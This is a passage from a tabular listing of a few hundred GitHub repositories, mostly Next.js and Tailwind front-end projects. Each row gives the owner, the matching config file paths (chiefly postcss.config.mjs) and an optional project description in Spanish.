seguro y fácil de usar. | | | 214 | developerdesigner18/Frontend-Task | developerdesigner18 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 215 | noors-code/Account-Settings | noors-code | User | 0 | 0 | 1 | postcss.config.mjs | | | | 216 | finom/vovk-hello-world | finom | User | 0 | 0 | 1 | postcss.config.mjs | Aplicación Vovk.ts Hello World | | | 217 | Yashpreetrana4790/Bestvocabulary_platform | Yashpreetrana4790 | User | 0 | 0 | 1 | postcss.config.mjs | Sitio web de aprendizaje de vocabulario | | | 218 | Atif-Hameed/unsigned-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 219 | saifullah-max/mandviwalla-mauser | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 220 | Navoda001/Solana | Navoda001 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 221 | wolfstudiosai/braxx-frontend-v2 | wolfstudiosai | User | 0 | 0 | 1 | postcss.config.mjs | | | | 222 | cywasay/neorecruits- | cywasay | User | 0 | 0 | 1 | postcss.config.mjs | | | | 223 | raoarafat/steelh-website | raoarafat | User | 0 | 0 | 1 | postcss.config.mjs | | | | 224 | Qasim-dev/stock-tracker | Qasim-dev | User | 0 | 0 | 1 | postcss.config.mjs | | | | 225 | teresagrobecker/pensio_consortia | teresagrobecker | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 226 | umarabid123/Raise-Your-Hack | umarabid123 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 227 | dhruvmalik007/xrpl_haks_hackathon_project | dhruvmalik007 | User | 0 | 0 | 1 | postcss.config.mjs | Envío para la competencia de hackathon XRPL: desarrollo de un marco de agente RAG para el monitoreo de precios y la creación de mercado de certificados de impacto. | | | 228 | addis-ale/EGA | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 229 | addis-ale/free_code_camp_task_01 | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | Tarea de certificación de bibliotecas frontend de Free CodeCamp | | | 230 | addis-ale/gd-landing-page | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 231 | Al-amin07/purple-cat-client | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 232 | Al-amin07/apparel-trade-bd | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 233 | Al-amin07/hyshin | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 234 | Al-amin07/web-programming-lab | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 235 | mdnuruzzamannirob/relo-website | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | | | 236 | Harsimran-Nugen/assignment | Harsimran-Nugen | User | 0 | 0 | 1 | postcss.config.mjs | | | | 237 | cto-varun/user-crud-design-nextjs | cto-varun | User | 0 | 0 | 1 | postcss.config.mjs | | | | 238 | Aman-scripts/NugenEmployabilityTest | Aman-scripts | User | 0 | 0 | 1 | postcss.config.mjs | | | | 239 | akashstwt/inventory-management-majorproject | akashstwt | User | 0 | 0 | 1 | client/postcss.config.mjs | | | | 240 | akashstwt/TheGitcode | akashstwt | User | 0 | 0 | 1 | gitcodeweb/postcss.config.mjs | | | | 241 | Atif-Hameed/ALS-Panel | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 242 | umarabid123/store-forge | umarabid123 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 243 | addis-ale/discord | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 244 | addis-ale/hirecards-prod | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 245 | addis-ale/ega_updated | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 246 | addis-ale/group-match | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 247 | SanjayaPrasadRajapaksha/Hotel_Booking-Admin_Panel | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 248 | SanjayaPrasadRajapaksha/Todo_App | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | my-app/postcss.config.mjs | | | | 249 | PremShakti/Inventory-Todo-Manager | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 250 | fsdteam8/lowready-dashboard | fsdteam8 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 251 | badhon252/shift-scheduler | badhon252 | User | 0 | 0 | 1 | postcss.config.mjs | Construido para optimizar el programador de turnos | | | 252 | fsdteam8/stevenar77-dashboard | fsdteam8 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 253 | Atif-Hameed/unsigned-frontend | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 254 | Atif-Hameed/social-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 255 | Atif-Hameed/cybenty | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 256 | anthemnandani/ai | anthemnandani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 257 | mijanConnect/the-piegeon-hub-website | mijanConnect | User | 0 | 0 | 1 | postcss.config.mjs | | | | 258 | Button-20/juzbuild | Button-20 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 259 | HyderYash/my-progess-tracker | HyderYash | User | 0 | 0 | 1 | postcss.config.mjs | | | | 260 | MohamedH1000/course | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 261 | nipun-imesh/sample-react | nipun-imesh | User | 0 | 0 | 1 | postcss.config.mjs | | | | 262 | sayyamButt317/ishout | sayyamButt317 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 263 | rvmediacorp/Headshot-Portland-Official | rvmediacorp | User | 0 | 0 | 1 | postcss.config.mjs | | | | 264 | Sawjal-sikder/faceAi-front-end | Sawjal-sikder | User | 0 | 0 | 1 | postcss.config.mjs | | | | 265 | SanjayaPrasadRajapaksha/E-Commerce | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 266 | Rahulkumarhavit/multi-tenant-architecture | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 267 | Mohsin-Javed48/connectors-nextJs | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 268 | Axxi3/hennery | Axxi3 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 269 | UzairAhmedDahraj/clickup-nextjs-demo | UzairAhmedDahraj | User | 0 | 0 | 1 | postcss.config.mjs | | | | 270 | Mike-flowbiz/Flowbiz-backend | Mike-flowbiz | User | 0 | 0 | 1 | postcss.config.mjs | API Backend para FlowBiz – Node.js, PostgreSQL, JWT, servicio PDF | | | 271 | phillipshepard1/internal-re-crm | phillipshepard1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 272 | mahadi-zulfiker/mz-events-frontend | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Un frontend moderno, receptivo y rico en funciones para la Plataforma de Eventos y Actividades, construido con Next.js 14 y Tailwind CSS. Esta aplicación proporciona una experiencia fluida para que los usuarios descubran eventos, los anfitriones gestionen sus listados y los administradores supervisen la plataforma. | | | 273 | fareed-aslam/capitalkv | fareed-aslam | User | 0 | 0 | 1 | CapitalKV-AI-master/frontend/postcss.config.mjs | | | | 274 | TimothyBabatu13/Stampchain | TimothyBabatu13 | User | 0 | 0 | 1 | stamp-chain/postcss.config.mjs | | | | 275 | iamanaskhan10/my-portfolio-nextjs | iamanaskhan10 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 276 | MatiasCuadra98/ai-excel | MatiasCuadra98 | User | 0 | 0 | 1 | apps/frontend/postcss.config.mjs | | | | 277 | manuel-spec/another-portfolio | manuel-spec | User | 0 | 0 | 1 | postcss.config.mjs | | | | 278 | kasunwathsala/Nextjs-Protfolio | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | Un sitio web de portafolio vibrante, moderno y completamente receptivo construido con Next.js 14, TypeScript y Tailwind CSS. Presenta impresionantes diseños de degradados, animaciones suaves y una UI colorida que muestra tus proyectos y habilidades de manera llamativa. | | | 279 | shayanwd/vts-nextjs | shayanwd | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 280 | JudeTejada/reactly | JudeTejada | User | 0 | 0 | 1 | apps/web/postcss.config.mjs | | | | 281 | fyunusa/video-tool | fyunusa | User | 0 | 0 | 1 | postcss.config.mjs | | | | 282 | TranDoanKhoe/Velvere | TranDoanKhoe | User | 0 | 0 | 5 | src/components_bonus/my-tab/postcss.config.mjs | src/components_bonus/my-app/postcss.config.mjs | src/components_bonus/my-select/postcss.config.mjs | src/components_bonus/my-button/postcss.config.mjs | src/components_bonus/my-calendar/postcss.config.mjs | | | | 283 | cywasay/leaders | cywasay | User | 0 | 0 | 1 | leaders-admin/postcss.config.mjs | | | | 284 | TimothyBabatu13/TokenMind | TimothyBabatu13 | User | 0 | 0 | 1 | token-mind/postcss.config.mjs | Cerebro AI inteligente para tokens | | | 285 | shani-techv1/source-app-v2 | shani-techv1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 286 | Mfahadk99/syssel-web-internal | Mfahadk99 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 287 | Nathanim1919/time-lens | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 288 | addis-ale/wetruck-shipper | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 289 | Romicha935/image-gallery | Romicha935 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 290 | Ali-Hamas/Todo-App | Ali-Hamas | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 291 | MohamedH1000/philadelphia_university | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 292 | saifullah-max/surfchem | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 293 | ahnaafarafee/bionic-seven | ahnaafarafee | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | Sitio web oficial de Bionic 7 - Lote 7 de Ingeniería Biomédica de la Universidad Islámica | | | 294 | malirazaansari/Protfolio_project | malirazaansari | User | 0 | 0 | 1 | postcss.config.mjs | Mi Portafolio Personal | | | 295 | ayanmal1k/DragoPump | ayanmal1k | User | 0 | 0 | 1 | postcss.config.mjs | Sitio de token Solana | | | 296 | Shumaim-Naseer-Kiyani/framer_project | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 297 | prosigns/dex-data-aggregation | prosigns | User | 0 | 0 | 1 | postcss.config.mjs | | | | 298 | MrSohaibAhmed/interview-assessment | MrSohaibAhmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 299 | roma2023/Snoonu | roma2023 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 300 | Mohsin-Javed48/nextjs-witd-oasis | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 301 | kasunwathsala/Caramel-Pudding-web | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | Una plataforma de comercio electrónico premium para la venta de pudín de caramelo construida con Next.js y shadcn/ui. Cuenta con una experiencia de compra completa con catálogo de productos, carrito de compras, pago y diseño receptivo. Listo para integración de pagos y escalado con tu propio backend de base de datos. | | | 302 | mahadi-zulfiker/crm | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Un Sistema de Gestión de Reclutamiento full-stack basado en roles, diseñado para agilizar los flujos de trabajo de contratación para organizaciones y equipos de RRHH. | | | 303 | humayun506034/ReviewHub-Client | humayun506034 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 304 | brianonbased-dev/BaseAppShop | brianonbased-dev | User | 0 | 0 | 1 | postcss.config.mjs | Tienda Brian Shopify para Base App | | | 305 | sanjay10985/lead-generation-landing-page | sanjay10985 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 306 | Rahulkumarhavit/finance-advisor | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 307 | ayanmal1k/Sol-Market | ayanmal1k | User | 0 | 0 | 1 | postcss.config.mjs | | | | 308 | Mohsin-Javed48/dresscode-nextjs | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 309 | Hriday-paul/anyjob-wellcome | Hriday-paul | User | 0 | 0 | 1 | postcss.config.mjs | | | | 310 | a-belard/rayyan | a-belard | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 311 | kasunwathsala/Service-marketplace | kasunwathsala | User | 0 | 0 | 1 | navbar-vite (3)/postcss.config.mjs | Una aplicación web full-stack integral que conecta a los clientes con proveedores de servicios en múltiples categorías, incluidos servicios de un día, trabajo por contrato y oportunidades de medio tiempo. | | | 312 | kasunwathsala/saloon-booking-system | kasunwathsala | User | 0 | 0 | 1 | salon-booking-system/postcss.config.mjs | Un sitio web moderno y receptivo de reserva de salones construido con Next.js y React. Este sistema integral de gestión de salones de belleza incluye listados de servicios, perfiles de estilistas, reserva de citas en varios pasos, testimonios de clientes y gestión de contactos. | | | 313 | Nathanim1919/becoming | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 314 | Adithyahewage/portfolio_website | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | | | | 315 | Ali-Hamas/Website-Todo | Ali-Hamas | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 316 | MohamedH1000/Mersal | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 317 | MohamedH1000/cruise | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 318 | kasunwathsala/portfolio-2026 | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | | | | 319 | mahadi-zulfiker/SpaceZee | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sitio web en vivo | | | 320 | mahadi-zulfiker/REPLIQ-Limited-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Enlace en vivo | | | 321 | ahmadraza382/E-commerce-website | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 322 | Rahulkumarhavit/carmarket-place | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 323 | Rahulkumarhavit/Nextjs-productivity | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 324 | tanushka1726/react_next | tanushka1726 | User | 0 | 0 | 1 | postcss.config.mjs | Reader Website es una aplicación web moderna y receptiva construida con Next.js y TypeScript, diseñada para mostrar y explorar libros con una experiencia de usuario fluida. Cuenta con enrutamiento dinámico, componentes reutilizables y está completamente desplegada para acceso público. Ideal para lectores, entusiastas de los libros o plataformas de contenido que buscan una experiencia de lectura interactiva. | | | 325 | Sameer447/O2_app | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 326 | dmytro-chushko/portfolio-dev-dc | dmytro-chushko | User | 0 | 0 | 1 | postcss.config.mjs | | | | 327 | Axxi3/ladyfoxx | Axxi3 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 328 | Vladyslav0060/autopartner | Vladyslav0060 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 329 | PremShakti/jewelry-kiosk | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 330 | theeurbanlegend/Hackathon-Submission | theeurbanlegend | User | 0 | 0 | 1 | client/postcss.config.mjs | | | | 331 | SouravDn-p/NextManager-YourInventory-Manager | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Next.js Inventory Manager Un sistema de gestión de inventario full-stack construido con Next.js 14 App Router, Tailwind CSS, MongoDB y Redux Toolkit (RTK Query). Esta aplicación admite autenticación social a través de NextAuth.js (Google, GitHub) e inicio de sesión tradicional con correo electrónico/contraseña usando JWT. | | | 332 | abdullah2310ishaq/zeebuddy | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 333 | JudeTejada/project-monitoring | JudeTejada | User | 0 | 0 | 1 | postcss.config.mjs | | | | 334 | salwaaliakbar/my-portfolio | salwaaliakbar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 335 | abdullah2310ishaq/company | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 336 | wahab3913/kalibar-manger1 | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 337 | ninjadevhub/Flood-Risk-Mapper | ninjadevhub | User | 0 | 0 | 1 | postcss.config.mjs | | | | 338 | trobits/trobits-frontend | trobits | User | 0 | 0 | 1 | postcss.config.mjs | | | | 339 | Shumaim-Naseer-Kiyani/ai_landing_page | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 340 | ChiraniSiriwardhana/Portfolio | ChiraniSiriwardhana | User | 0 | 0 | 1 | postcss.config.mjs | | | | 341 | carrantal/frontend | carrantal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 342 | Nathanim1919/atlas | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 343 | asadullah-kazmi/syncspace | asadullah-kazmi | User | 0 | 0 | 1 | frontend/postcss.config.mjs | Una plataforma de colaboración en tiempo real construida con Next.js, WebSockets y CRDTs (Yjs), que permite la edición de documentos multiusuario con sincronización de estado sin conflictos y actualizaciones de baja latencia. | | | 344 | usman-174/form-pdf | usman-174 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 345 | evenwalser/FinalPaperclipPro | evenwalser | User | 0 | 0 | 1 | postcss.config.mjs | Para que Hetal migre a Paperclip Vercel | | | 346 | huzzy12/portfolio | huzzy12 | User | 0 | 0 | 1 | postcss.config.mjs | Mi sitio web de portafolio | | | 347 | Sameer447/my-app | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 348 | wahab3913/kalibar | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 349 | sybotstackdev/Portfolio | sybotstackdev | User | 0 | 0 | 1 | postcss.config.mjs | | | | 350 | NEERAJ131124/pisync-fe | NEERAJ131124 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 351 | RazaAkmal/frontend-test | RazaAkmal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 352 | kasunwathsala/Loomistore | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | | | | 353 | um8r/bridge-master-fyp | um8r | User | 0 | 0 | 1 | postcss.config.mjs | | | | 354 | RathodDeven/danz-web | RathodDeven | User | 0 | 0 | 1 | postcss.config.mjs | | | | 355 | Gowreesh-VT/OnlyFoundersV2 | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | | | 356 | garrycha/test-job | garrycha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 357 | wasi2320/ctk-new | wasi2320 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 358 | sayyamButt317/hire-with-tess-frontend | sayyamButt317 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 359 | Al-amin07/bigso_app | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 360 | shermuhammad786/gs-hackathon | shermuhammad786 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 361 | smit455/big_bazaar-store | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 362 | jbaze/borec-basket-claude | jbaze | User | 0 | 0 | 1 | postcss.config.mjs | | | | 363 | Al-amin07/project-9-client | Al-amin07 | User | 0 | 0 | 3 | postcss.config.mjs | tailwind.config.js | eslint.config.mjs | | | | 364 | farihulrouf/orcx_fe | farihulrouf | User | 0 | 0 | 1 | postcss.config.mjs | | | | 365 | wahab3913/kalibar-m2 | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 366 | finom/realtime-kanban | finom | User | 0 | 0 | 1 | postcss.config.mjs | | | | 367 | rejoan121615/heritage-trial-overlay | rejoan121615 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 368 | Ruwanima/Portfolio | Ruwanima | User | 0 | 0 | 1 | postcss.config.mjs | | | | 369 | Lithira-Sasmitha/social_app | Lithira-Sasmitha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 370 | coderkhalide/selorax-canvas | coderkhalide | User | 0 | 0 | 1 | apps/canvas-v2/postcss.config.mjs | | | | 371 | Button-20/juzbuild-background-processor | Button-20 | User | 0 | 0 | 1 | templates/homely/postcss.config.mjs | | | | 372 | Muhammadfaizanjanjua109/frammerMotion | Muhammadfaizanjanjua109 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 373 | AHAdd40451/task-sheet | AHAdd40451 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 374 | zaheerahmad92001/pettro | zaheerahmad92001 | User | 0 | 0 | 1 | postcss.config.mjs | pettro para amantes de las mascotas | | | 375 | MahadA456/mahad-portfolio | MahadA456 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 376 | Joyeta-Mondal/Sparktech-Agency-assessment | Joyeta-Mondal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 377 | webprogramminghack/b3-practice-31 | webprogramminghack | User | 0 | 0 | 1 | postcss.config.mjs | | | | 378 | Adithyahewage/Salon-demo | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | Proyecto demo para un cliente de salón | | | 379 | akashstwt/eth-global-cryptowiki | akashstwt | User | 0 | 0 | 1 | postcss.config.mjs | | | | 380 | Gowreesh-VT/AWS-Web-Dev | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | | | 381 | dynamicdreamz1/startup-voyager | dynamicdreamz1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 382 | farhanmasood-se/live-docs | farhanmasood-se | User | 0 | 0 | 1 | postcss.config.mjs | | | | 383 | dmytro-chushko/form-editor | dmytro-chushko | User | 0 | 0 | 1 | postcss.config.mjs | Una aplicación Next.js para construir, publicar y recopilar envíos de formularios personalizados. Incluye un área de administración autenticada con un editor de arrastrar y soltar y una experiencia de formulario orientada al público. | | | 384 | Sameer447/launchpad-incubator-backend | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 385 | SouravDn-p/Advance-HealthCare-Next-Level-of-Smarter-Better-Health | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Servicio de Salud Avanzado || Una plataforma de salud digital completa y todo en uno que ofrece consultas en línea, registros de salud seguros, recetas electrónicas, evaluación inteligente de síntomas y atención personalizada al paciente, todo desde una experiencia web fluida. | | | 386 | SouravDn-p/Scribe-AI-Powered-Note-Taking-App | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 387 | SouravDn-p/multi-form-transaction | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Una Plataforma Demo de Transacciones Cortas | | | 388 | SouravDn-p/authjs-next-authentications | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 389 | abdullah2310ishaq/qudrat | abdullah2310ishaq | User | 0 | 0 | 1 | admin-panel/postcss.config.mjs | | | | 390 | SouravDn-p/PathFinder---Smarter-Admissions-Simpler-Bookings | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | PathFinder – Admisiones más inteligentes, reservas más simples. Una aplicación full-stack Next.js para reservas de admisiones universitarias. Incluye búsqueda de universidades, formularios de admisión, reseñas, gestión de perfiles y autenticación basada en JWT. | | | 391 | abdullah2310ishaq/resposive-doctor-websote | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 392 | abdullah2310ishaq/ecommerce_jewellery_store | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 393 | Al-amin07/pioneer | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 394 | smit455/big_bazaar-admin | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 395 | smit455/Task_manager | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 396 | dhruvmalik007/Stratavault | dhruvmalik007 | User | 0 | 0 | 2 | apps/web/postcss.config.mjs | packages/ui/postcss.config.mjs | Aplicación para la presentación del Hackmoney 2026 de Ethglobal: Construyendo la plataforma de experiencia de agente para invertir sin esfuerzo en mercados de predicción. | | | 397 | finom/blok | finom | User | 0 | 0 | 1 | postcss.config.mjs | | | | 398 | rejoan121615/website-generator | rejoan121615 | User | 0 | 0 | 1 | packages/dashboard/postcss.config.mjs | | | | 399 | abdullah2310ishaq/personal-portfolio | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 400 | Joyeta-Mondal/arklab-ai-assessment | Joyeta-Mondal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 401 | Adithyahewage/Gym-demo | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | Proyecto demo para un cliente de gimnasio | | | 402 | Gowreesh-VT/VITopoly | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | | | 403 | farhanmasood-se/slack-clone | farhanmasood-se | User | 0 | 0 | 1 | postcss.config.mjs | Colabora con tu equipo usando mensajería en tiempo real, edición de texto enriquecido y soporte de emojis en esta aplicación similar a Slack construida con Next.js, Convex y Shadcn UI. | | | 404 | Socheema/clot | Socheema | User | 0 | 0 | 1 | postcss.config.mjs | Compra los mejores productos de moda con Clot | | | 405 | Shumaim-Naseer-Kiyani/project1 | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 406 | Muhammad-Hammad-Abbasi/next.js-hackathon | Muhammad-Hammad-Abbasi | User | 0 | 0 | 1 | postcss.config.mjs | Hackathon de diseño web figma. | | | 407 | Germs31/small-traslator-ai | Germs31 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 408 | prudywn/GrowthProject | prudywn | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 409 | FaizaFarooq23/photo-gallery | FaizaFarooq23 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 410 | dbankston2409/Sober-Deck | dbankston2409 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 411 | mahadi-zulfiker/Nextjs-Prisma-Portfolio-Frontend | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sitio web en vivo | | | 412 | seemab-ahmed/blockdag | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 413 | abdullah2310ishaq/zee-admin | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 414 | lnbglondoncoin/lnbglondon | lnbglondoncoin | User | 0 | 0 | 1 | postcss.config.mjs | | | | 415 | ahmadraza382/Ferrano | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 416 | JPChoyon/bikeBotics | JPChoyon | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 417 | Anas-Ali-3673/caa-interface | Anas-Ali-3673 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 418 | akashstwt/fleek | akashstwt | User | 0 | 0 | 1 | postcss.config.mjs | | | | 419 | wolfstudiosai/havocker | wolfstudiosai | User | 0 | 0 | 1 | postcss.config.mjs | | | | 420 | mdemong87/theamfisher-assignment | mdemong87 | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 421 | eftakhar-491/L-2_B-6-Assignment-4-frontend | eftakhar-491 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 422 | mohsulthana/yc-directory-nextjs | mohsulthana | User | 0 | 0 | 1 | postcss.config.mjs | | | | 423 | deepaksh798/dashboard-second | deepaksh798 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 424 | mahadi-zulfiker/Hishabee_Frontend_Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sitio en vivo | | | 425 | Ibraz94/inventory_management_system | Ibraz94 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 426 | mdnuruzzamannirob/your-capture-awards | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | | | 427 | Germs31/expense-tracking | Germs31 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 428 | Adharshms/builder | Adharshms | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 429 | Nathanim1919/Avaitor-game | Nathanim1919 | User | 0 | 0 | 1 | client/postcss.config.mjs | | | | 430 | saifullah-max/Navo-1 | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 431 | kanchana404/web | kanchana404 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 432 | kanchana404/kaidenz-clothing | kanchana404 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 433 | Muhammad-Hammad-Abbasi/persnol_portfolio_2 | Muhammad-Hammad-Abbasi | User | 0 | 0 | 1 | postcss.config.mjs | portafolio personal | | | 434 | Salman1205/MailAssists-CRM | Salman1205 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 435 | SouravDn-p/Innovative-task-sd246 | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Un sitio web taskEarn | | | 436 | mahadi-zulfiker/PH-Job-Task-Web-Instructor | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sitio web en vivo | | | 437 | mahadi-zulfiker/Raintor-Job-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sitio web en vivo | | | 438 | mahadi-zulfiker/SparkTech-Job-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sitio en vivo | | | 439 | seemab-ahmed/oradentclinic-website | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 440 | AhmadRazaKhokhar1/url-shortner-frontend | AhmadRazaKhokhar1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 441 | nipun-imesh/Fly-connects-web-FN | nipun-imesh | User | 0 | 0 | 1 | tailwind.config.js | | | | 442 | Barosz30/Portfolio | Barosz30 | User | 0 | 0 | 1 | tailwind.config.js | | | | 443 | web-ghoul/movie-app | 